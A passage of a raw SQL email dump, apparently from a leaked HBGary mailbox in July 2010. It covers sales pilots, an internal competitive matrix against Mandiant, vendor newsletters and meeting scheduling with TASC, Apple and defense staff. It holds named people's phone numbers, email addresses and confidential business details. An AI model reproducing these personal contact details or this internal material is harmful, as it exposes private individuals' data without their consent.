is confident he will get CIO approval to pilot Production systems -- main concern is that we do not impact end user performance\r\nThere is no budget this year -- this is an evaluation for next year budget\r\nBased on results  -- this can accelerate a 2010 purchase -- as an IR tool or full deployment\r\nBrian offered 2 weeks as a good pilot timeframe -- he expects we would be onsite for 2 days\r\n \r\nBlack Hat Meeting\r\nBrian would like to meet Greg for dinner at Blackhat if Greg is available?\r\n \r\nPenny there is no civilian agency so far that has the ability to pay for a Pilot -- they say it is not done....  \r\n \r\nPenny will you approve a 60 day Responder Pro eval for Brian?  Charles will need your approval :)\r\n \r\nThis is a great opportunity!!\r\n \r\nfyi Brian says he knows Aaron Barr\r\n \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n',10124,'aaron_hbgary_com/10124.html'),(8248,'2010-07-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006428.M880017P14101Q3103.eml','all@hbgary.com','Active Defense vs. MIR competitive matrix','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nGreg and I put together the attached competitive matrix.&nbsp;\r\nTHIS IS FOR INTERNAL USE ONLY.&nbsp; DO NOT GIVE THIS TO YOUR CUSTOMERS AND\r\nPROSPECTS.&nbsp; We don&#8217;t want this doc to end up in Mandiant&#8217;s hands.\r\n\r\n&nbsp;\r\n\r\nPlease let us know if you want to add or change anything on\r\nthe matrix.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16602,'aaron_hbgary_com/16602.html');
INSERT INTO `emails` VALUES (8249,'2010-07-07','\"The Splunk Team\" <newsletter@splunk.com>','/aaron@hbgary.com/new/1297006429.M159661P14101Q3104.eml','aaron@hbgary.com','It\'s only the first time once ...  Commit now to Splunk\'s First Users\' Conference.','\r\n\r\n \r\n    \r\n   Splunk \r\n    \r\n      body {\r\n      	background-color: #EEEEEE;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      p a {\r\n      	color: #2982A7;\r\n      	text-decoration: none;\r\n      }\r\n      td.permission {\r\n      	padding: 8px 0 8px 0;\r\n      }\r\n      td.date {\r\n      	padding: 0 0 4px 0;\r\n      }\r\n      td.permission p {\r\n      	font-family: Arial;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	font-style: italic;\r\n      	color: #151515;\r\n      	text-align: center;\r\n      }\r\n      td.permission a {\r\n      	color: #9f9862;\r\n      	text-decoration: none;\r\n      }\r\n    \r\n      table.bg {\r\n      	background-color: #ffffff;\r\n      }\r\n      table.intro td {\r\n      	height: 10px;\r\n      	border-bottom: 1px solid #eeeeee;\r\n      }\r\n      \r\n       table.header td {\r\n      	height: 10px;\r\n      	border-bottom: 1px solid #d5e0e1;\r\n      	border-top: 10px solid #111;\r\n      }\r\n      \r\n      table.header td p.big {\r\n      font-family:arial;\r\n      font-size:24px;\r\n      font-weight:normal;\r\n      font-style: normal;\r\n      padding:0 115px 0 15px;\r\n      margin-top: 0px;\r\n      }\r\n      \r\n      \r\n      \r\n      table.intro td p {\r\n      	font-family: Arial, Helvetica, sans-serif;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555555;\r\n      	padding:0 15px 0 15px;\r\n      }\r\n   \r\n      table.header td h1 {\r\n      	font-family: \'Futura\', Arial;\r\n      	font-size: 24px;\r\n      	font-weight: normal;\r\n      	color: #9f9862;\r\n      	display: inline;\r\n      	margin: 0 0 0 6px;\r\n      	padding: 0;\r\n      	text-transform: uppercase;\r\n      }\r\n      \r\n      table.header td h2 {\r\n		font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 28px;\r\n      	font-weight: normal;\r\n      	color: #111111;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0 0 0 15px;\r\n      	}\r\n      	 table.intro td h2 {\r\n		font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 28px;\r\n      	font-weight: normal;\r\n      	color: #111111;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0 0 0 15px;\r\n      	}\r\n      table.header td h3 {\r\n      	font-family: Arial, Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	font-style: italic;\r\n      	color: #ffffff;\r\n      	display: inline;\r\n      	margin: 0;\r\n      	padding: 0 0 6px 0;\r\n      }\r\n      td.sidebar {\r\n      	background-color: #fff;\r\n      	padding-top:10px;\r\n      }\r\n      td.sidebar h2 {\r\n      	font-family: Arial;\r\n      	font-size: 16px;\r\n      	font-weight: normal;\r\n      	color: #464646;\r\n      	margin: 0 0 10px 0;\r\n      	border-bottom: 1px solid #CCC;\r\n      	text-transform: uppercase;\r\n      }\r\n      td.sidebar ul {\r\n      	margin: 0 0 20px 24px;\r\n      	padding: 0;\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #313131;\r\n      }\r\n      td.sidebar ul a {\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #085982;\r\n      	text-decoration: none;\r\n      }\r\n      td.sidebar p {\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555;\r\n      	margin: 0 0 14px 0;\r\n      	padding: 0;\r\n      }\r\n      td.sidespace {\r\n         padding: 20px;\r\n      }\r\n      table.options {\r\n      	border-top: 1px solid #9f9862;\r\n      	border-bottom: 1px solid #9f9862;\r\n      }\r\n      table.options td {\r\n      	padding: 16px 22px 16px 22px;\r\n      }\r\n      td.border {\r\n      	border-bottom: 1px solid #9f9862;\r\n      }\r\n      table.options h3 {\r\n      	font-family: Arial;\r\n      	font-size: 16px;\r\n      	font-weight: normal;\r\n      	color: #9f9862;\r\n      	margin: 0 0 4px 0;\r\n      	padding: 0;\r\n      }\r\n      table.options p {\r\n      	font-family: Arial;\r\n      	font-size: 13px;\r\n      	font-weight: normal;\r\n      	color: #313131;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      table.options p a {\r\n      	color: #313131;\r\n      	text-decoration: none;\r\n      	border: none;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar {\r\n         padding: 20px;\r\n      }\r\n      td.mainbar h2 {\r\n      	font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 24px;\r\n      	font-weight: normal;\r\n      	color: #090909;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar h2 a {\r\n      	font-family: Arial;\r\n      	font-size: 20px;\r\n      	font-weight: bold;\r\n      	color: #9f9862;\r\n         text-decoration: none;\r\n      }\r\n      td.mainbar h3 {\r\n      	font-family: Verdana;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	color: #333333;\r\n      	text-transform: uppercase;\r\n      	margin: 0 0 8px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar p {\r\n      	font-family: Arial, Helvetica, sans-serif;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555555;\r\n      	margin: 0 0 16px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar p.top {\r\n      	font-family: Verdana;\r\n      	font-size: 10px;\r\n      	font-weight: normal;\r\n      	color: #44a0df;\r\n      	text-transform: uppercase;\r\n      	width: 100%;\r\n      	text-align: right;\r\n      	margin: 14px 0 4px 0;\r\n      	border-top: 1px solid #CCCCCC;\r\n      }\r\n      table.footer {\r\n      	font-family: Arial;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	color: #090909;\r\n      	text-align: center;\r\n      }\r\n      table.footer td {\r\n      	height: 88px;\r\n      }\r\n      table.footer span {\r\n      	color: #ffffff;\r\n      }\r\n      table.bgBottom {\r\n         padding: 10px;\r\n      	background-color: #EEE;\r\n      }\r\n    \r\n \r\n\r\n\r\n\r\n\r\nIf you&nbsp;have trouble viewing this email, read the online version. \r\n \r\n \r\n \r\n \r\n   \r\n     \r\n       \r\n         \r\n          \r\n          \r\n        \r\n      \r\n       \r\n         \r\n           \r\n      \r\nIt&rsquo;s our first time. It&rsquo;s your first time. Let&rsquo;s do this thing together. \r\n      August 9-11, 2010San Francisco, CA\r\n      		\r\n    \r\n   \r\n \r\n                  \r\n \r\n   \r\n     \r\n       \r\n         \r\n           \r\n            Dear Aaron,            \r\n            You always wanted your first time to be amazing. So for our first time, San Francisco will serve as the perfect backdrop: anything goes. Fine dining, exquisite scenery, your favorite Splunkers, and a beer truck will help make your first time thrilling, memorable&ndash;and educational.\r\n            We don&rsquo;t want to get you too excited&ndash;but here&rsquo;s a little taste of what you can expect at the First Splunk Worldwide Users&rsquo; Conference:\r\n\r\n            \r\n              One-on-one time with your favorite Splunkers for direct feedback on your implementation\r\n              Swap best practices with other Splunk power users\r\n              Hands-on training to create roles, views, dashboards, graphs, reports and more\r\n            \r\n            We promise to be here for you in sickness and in health, now and in the future. \r\n            Commit already: register now!\r\n            See you in August!\r\n            \r\n            The Splunk Team\r\n		    \r\n          \r\n        \r\n      \r\n    \r\n    \r\n                 \r\n       \r\n          \r\n  		   What?\r\n  		    \r\n             The First Splunk Worldwide Users&rsquo; Conference\r\n           When?\r\n            \r\n             August 9-11, 2010\r\n              \r\n           Where?\r\n            \r\n             The Palace Hotel\r\n2 New Montgomery Street\r\nSan Francisco, CA 94105\r\n              \r\n           Why?\r\n            \r\n             The Top 5 Reasons to Attend \r\n               Still want more? Check out the session lineup.  \r\n           How?\r\n            \r\n             Register Now                         \r\n            \r\n          \r\n       \r\n         \r\n         \r\n       \r\n    \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\nTo unsubscribe from future emails or to update your e-mail preferences click here. To forward this email to a friend, click here. Splunk, Inc. | 250 Brannan St. | San Francisco, CA 94107\r\n\r\n\r\n',8091,'aaron_hbgary_com/8091.html'),(8250,'2010-07-07','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006429.M425740P14101Q3105.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Active Defense vs. MIR competitive matrix','Bob\r\n \r\nYou have Offered As An Appliance checked for HBGary...\r\nOn Wed, Jul 7, 2010 at 8:48 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAll,\r\n \r\nGreg and I put together the attached competitive matrix.  THIS IS FOR INTERNAL USE ONLY.  DO NOT GIVE THIS TO YOUR CUSTOMERS AND PROSPECTS.  We don’t want this doc to end up in Mandiant’s hands.\r\n \r\nPlease let us know if you want to add or change anything on the matrix.\r\n \r\nBob \r\n -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n',3310,'aaron_hbgary_com/3310.html'),(8251,'2010-07-07','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006429.M826524P14101Q3106.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: Active Defense vs. MIR competitive matrix','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes we will offer it as an appliance\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Wednesday, July 07, 2010 1:37 PM\r\nTo: Bob Slapnik\r\nCc: all@hbgary.com\r\nSubject: Re: Active Defense vs. MIR competitive matrix\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYou have Offered As An\r\nAppliance checked for HBGary...\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Jul 7, 2010 at 8:48 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nGreg\r\nand I put together the attached competitive matrix.&nbsp; THIS IS FOR INTERNAL\r\nUSE ONLY.&nbsp; DO NOT GIVE THIS TO YOUR CUSTOMERS AND PROSPECTS.&nbsp; We\r\ndon&#8217;t want this doc to end up in Mandiant&#8217;s hands.\r\n\r\n&nbsp;\r\n\r\nPlease\r\nlet us know if you want to add or change anything on the matrix.\r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13087,'aaron_hbgary_com/13087.html'),(8252,'2010-07-07','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297006430.M120184P14101Q3107.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Mantech Discussions @ Wed Jul 7 2pm - 3pm 	(aaron@hbgary.com)',' more details &raquo;Mantech DiscussionsWhenWed Jul 7 2pm – 3pm Eastern TimeWhere 1951 Kidwell Drive (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;eric.eifert@mantech.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',2699,'aaron_hbgary_com/2699.html'),(8253,'2010-07-07','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006430.M366462P14101Q3108.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Sounds like what you\'ve been preaching','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nhttp://darkreading.com/insiderthreat/security/privacy/showArticle.jhtml?articleID=225702468\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',864,'aaron_hbgary_com/864.html'),(8254,'2010-07-07','\"Tyler Holley\" <tyler.holley@carahsoft.com>','/aaron@hbgary.com/new/1297006430.M600655P14101Q3109.eml','\"Aaron Barr\" <aaron@hbgary.com>','Last Chance: Transforming Constituent Service in the Cloud','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\nbody {\r\nbackground-color: #C3C3C3;\r\ncolor: #333333;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\n.tbody {\r\nbackground-color: #fff;\r\ncolor: #333333;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\nh1 \r\n{\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 24px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: uppercase;\r\ncolor: #025699;\r\npadding: 0px;\r\n}\r\np, td { font-size:12px; }\r\ntd.content { padding-right: 25px; }\r\na:hover { text-decoration: underline; color: #025699; }\r\na:link { text-decoration: underline; color: #025699; }\r\na:visited { text-decoration: underline; color: #025699; }\r\n.footer {\r\nbackground-color:#58595B;\r\npadding:5px;\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 10px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: none;\r\ncolor: #FFFFFF;\r\ntext-align: center;\r\nvertical-align: middle;\r\n}\r\nbody { background-color:#C3C3C3 !important; }\r\n\r\n&nbsp;\r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						Transforming Constituent Service in the Cloud \r\n						\r\n						\r\n						You&rsquo;ve heard the buzz&nbsp;surrounding cloud computing. Now hear how your government agency can use a cloud-based contact center to: \r\n						\r\n						\r\n							Improve agent productivity and case resolution \r\n							Streamline all channels of communication (email, web form, US mail, fax, and phone) into a single queue for quick resolution\r\n							Engage in conversations with constituents where they are already taking place such as&nbsp;social&nbsp;networking sites like Google, Twitter, and Facebook\r\n							Access real-time dashboards and decision support to understand shifting customer needs and transform your operations \r\n						\r\n						\r\n						All without buying, installing or maintaining any hardware or software! \r\n						\r\n						\r\n						This is your last chance to join us for this complimentary webinar to hear&nbsp;how a federal financial agency has leveraged the Salesforce.com Service Cloud to improve its responsiveness to constituents, lower operational costs and increase visibility into the most significant issues for the customers it serves. \r\n						\r\n						You will also see a live demonstration and hear from a panel of experts on how your agency can work in the Cloud to deliver services to your internal and external constituents faster and cheaper than any traditional call center or service desk approach. \r\n						\r\n						Interested but cannot attend at this time? Sign up to receive a&nbsp;recording of the presentation&nbsp;after the event. \r\n						\r\n						Questions? Contact me. \r\n						Tyler Holley\r\n						Salesforce Government at \r\n						Carahsoft Technology Corp.\r\n						703-871-8658 (Direct)\r\n						888-554-7468 (Toll-Free)\r\n						tyler.holley@carahsoft.com\r\n						www.carahsoft.com/cloud/salesforce \r\n						\r\n						\r\n						Contact me&nbsp;to find out how your agency can sign up for a free two-hour on-site workshop, which includes a free Service Cloud briefing and demo and/or a configured pilot. \r\n						\r\n						\r\n						\r\n						\r\n						Last Chance to Register! \r\n						\r\n						Date: Thursday, July 8, 2010 \r\n						Time: 2:00pm EDT; 11:00am PDT\r\n						Duration: 1 Hour \r\n						\r\n						\r\n						 \r\n						\r\n						\r\n						\r\n						Agenda and Panel: \r\n						\r\n						Kaveh Vessali\r\n						VP, Public Sector Solutions\r\n						Salesforce.com\r\n						\r\n						Timothy McPherson\r\n						Assistant Director \r\n						Service Cloud Federal Customer\r\n						Federal agency that handles financial services\r\n						Former CEO/Executive Director, Oceana Customer Interaction Services (OCIS)\r\n						\r\n						Live Product Demonstration\r\n						Salesforce.com Service Cloud 2 Demo\r\n						\r\n						Q &amp; A with Panel \r\n						\r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n		\r\n		\r\n			Carahsoft Technology Corp. | 12369 Sunrise Valley Dr. | Suite D2 | Reston, VA 20191 | 888-662-2724 | 703-871-8500 | Fax: 703-871-8505 | &copy;2010 Carahsoft\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',15645,'aaron_hbgary_com/15645.html'),(8255,'2010-07-07','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006430.M837349P14101Q3110.eml','\"Bob Slapnik\" <bob@hbgary.com>,all@hbgary.com','RE: Active Defense vs. MIR competitive matrix','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMandiant will &#8220;supposedly&#8221;\r\nbe platform complete by end of summer.\r\n\r\n&nbsp;\r\n\r\nMandiant can manage about 15000\r\nend nodes per appliance&nbsp; GE has 9 appliances\r\n\r\n&nbsp;\r\n\r\nI think we should add more\r\naround the behavioral analysis., this is a big feature OR we move up the fact\r\nthat unknown malware cant&#8217; be found.&nbsp; It&#8217;s buried.\r\n\r\n&nbsp;\r\n\r\nPush agent installation may be a\r\nbenefit, that they use third party.&nbsp; We can use ours OR a third party, so\r\nwe should say that.\r\n\r\n&nbsp;\r\n\r\nYou list that they can detect\r\npacked malware (I&#8217;m assuming this is same for encrypted,) but can they\r\ndetect what&#8217;s in it unpacked?&nbsp; I think not given there is no end\r\nnode physical memory analysis\r\n\r\n&nbsp;\r\n\r\nI believe that Mandiant may have\r\na partnership with Ernst and Young FYI\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, July 07, 2010 11:48 AM\r\nTo: all@hbgary.com\r\nSubject: Active Defense vs. MIR competitive matrix\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nGreg and I put together the attached competitive\r\nmatrix.&nbsp; THIS IS FOR INTERNAL USE ONLY.&nbsp; DO NOT GIVE THIS TO YOUR\r\nCUSTOMERS AND PROSPECTS.&nbsp; We don&#8217;t want this doc to end up in\r\nMandiant&#8217;s hands.\r\n\r\n&nbsp;\r\n\r\nPlease let us know if you want to add or change anything on\r\nthe matrix.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6223,'aaron_hbgary_com/6223.html'),(8256,'2010-07-07','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006431.M315182P14101Q3112.eml','tjriesen@archimedesglobal.com,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,aaron@hbgary.com,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,akemp@apple.com,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>','Apple Meeting','\r\n\r\n\r\n\r\n\r\nApple Meeting\r\n\r\n\r\n\r\n\r\nType:Single Meeting\r\nOrganizer:Clair, Chris (TASC)\r\nStart Time:Tuesday, July 13, 2010 10:00 AM\r\nEnd Time:Tuesday, July 13, 2010 11:00 AM\r\nTime Zone:(GMT-05:00) Eastern Time (US &amp; Canada)\r\nLocation:WF3 - 3D\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nDiscussion with Apple regarding COIN.&nbsp; We\'ll talk infrastructure and strategy.&nbsp;\r\n\r\nWe should have an NDA in place by the time the meeting rolls around.\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8273,'aaron_hbgary_com/8273.html'),(8257,'2010-07-07','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006431.M549941P14101Q3113.eml','\"Barr Aaron\" <aaron@hbgary.com>','Slashdot IT Story | \'Robin Sage\' Social Hoax Duped Military, Security Pros','http://it.slashdot.org/story/10/07/07/1439228/Robin-Sage-Social-Hoax-Duped-Military-Security-Pros\r\n\r\nDid u see this already???\r\n',9841,'aaron_hbgary_com/9841.html'),(8258,'2010-07-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006431.M62649P14101Q3111.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Sounds like what you\'ve been preaching','YepSent from my iPhoneOn Jul 7, 2010, at 2:33 PM, \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nhttp://darkreading.com/insiderthreat/security/privacy/showArticle.jhtml?articleID=225702468\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10079,'aaron_hbgary_com/10079.html'),(8259,'2010-07-07','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006431.M870068P14101Q3114.eml','\"Barr Aaron\" <aaron@hbgary.com>','\'Robin Sage\' Profile Duped Military Intelligence, IT Security Pros - DarkReading','http://www.darkreading.com/insiderthreat/security/privacy/showArticle.jhtml?articleID=225702468\r\n',4004,'aaron_hbgary_com/4004.html'),(8260,'2010-07-07','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297006432.M101062P14101Q3115.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Dave Merritt @ Wed Jul 7 7pm - 8pm (aaron@hbgary.com)',' more details &raquo;Dave MerrittWhenWed Jul 7 7pm – 8pm Eastern TimeWhereAmerican Tap Room (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;david.merritt.ctr@osd.milGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',1206,'aaron_hbgary_com/1206.html'),(8261,'2010-07-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006432.M420280P14101Q3116.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Slashdot IT Story | \'Robin Sage\' Social Hoax Duped Military, Security Pros','Sent from my iPhoneBegin forwarded message:From: Ted Vera &lt;tedvera@me.com&gt;Date: July 7, 2010 5:44:11 PM EDTTo: Barr Aaron &lt;aaron@hbgary.com&gt;Subject: Slashdot IT Story | \'Robin Sage\' Social Hoax Duped Military, Security Proshttp://it.slashdot.org/story/10/07/07/1439228/Robin-Sage-Social-Hoax-Duped-Military-Security-ProsDid u see this already???',2956,'aaron_hbgary_com/2956.html'),(8262,'2010-07-07','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297006432.M667134P14101Q3117.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Invitation: Dave Merritt @ Wed Jul 7 7pm - 8pm (david.merritt.ctr@osd.mil)','On my way. Just up the road.\r\n--------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOffice of the Secretary of Defense\r\n703.699.3568\r\n',3511,'aaron_hbgary_com/3511.html'),(8263,'2010-07-08','\"andy kemp\" <akemp@apple.com>','/aaron@hbgary.com/new/1297006432.M928829P14101Q3118.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,','Re: Apple Meeting','can we make it the 14th?I\'ve been requested to be phoenix by a senior member at ODNI - someone That I don\'t say no to.or monday&nbsp;On Jul 7, 2010, at 3:42 PM, Clair, Chris (TASC) wrote:        Type:Single Meeting Organizer:Clair, Chris (TASC) Start Time:Tuesday, July 13, 2010 10:00 AM End Time:Tuesday, July 13, 2010 11:00 AM Time Zone:(GMT-05:00) Eastern Time (US &amp; Canada) Location:WF3 - 3D  *~*~*~*~*~*~*~*~*~*  Discussion with Apple regarding COIN.&nbsp; We\'ll talk infrastructure and strategy.&nbsp;  We should have an NDA in place by the time the meeting rolls around.  Chris        &lt;meeting.ics&gt; Andy KempHomeland Defense / National ProgramsApple Inc.11921 Freedom DriveSuite 600Reston, Virginia20194akemp@apple.com240-988-3476 ',10547,'aaron_hbgary_com/10547.html'),(8264,'2010-07-08','tjriesen@archimedesglobal.com','/aaron@hbgary.com/new/1297006433.M160269P14101Q3119.eml','\"andy kemp\" <akemp@apple.com>,\"Christopher Clair\" <christopher.clair@tasc.com>,\"andy kemp\" <akemp@apple.com>','Re: Apple Meeting','My participation isn\'t essential but for your SA, I have a 1000 at the Pentagon and a 1400 in Chantilly.  At the moment, I have a 1730 flight out of DCA.  From:  andy kemp &lt;akemp@apple.com&gt;\r\nDate: Wed, 7 Jul 2010 21:36:24 -0400To: Clair, Chris (TASC)&lt;CHRISTOPHER.CLAIR@tasc.com&gt;Cc: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;; Aaron 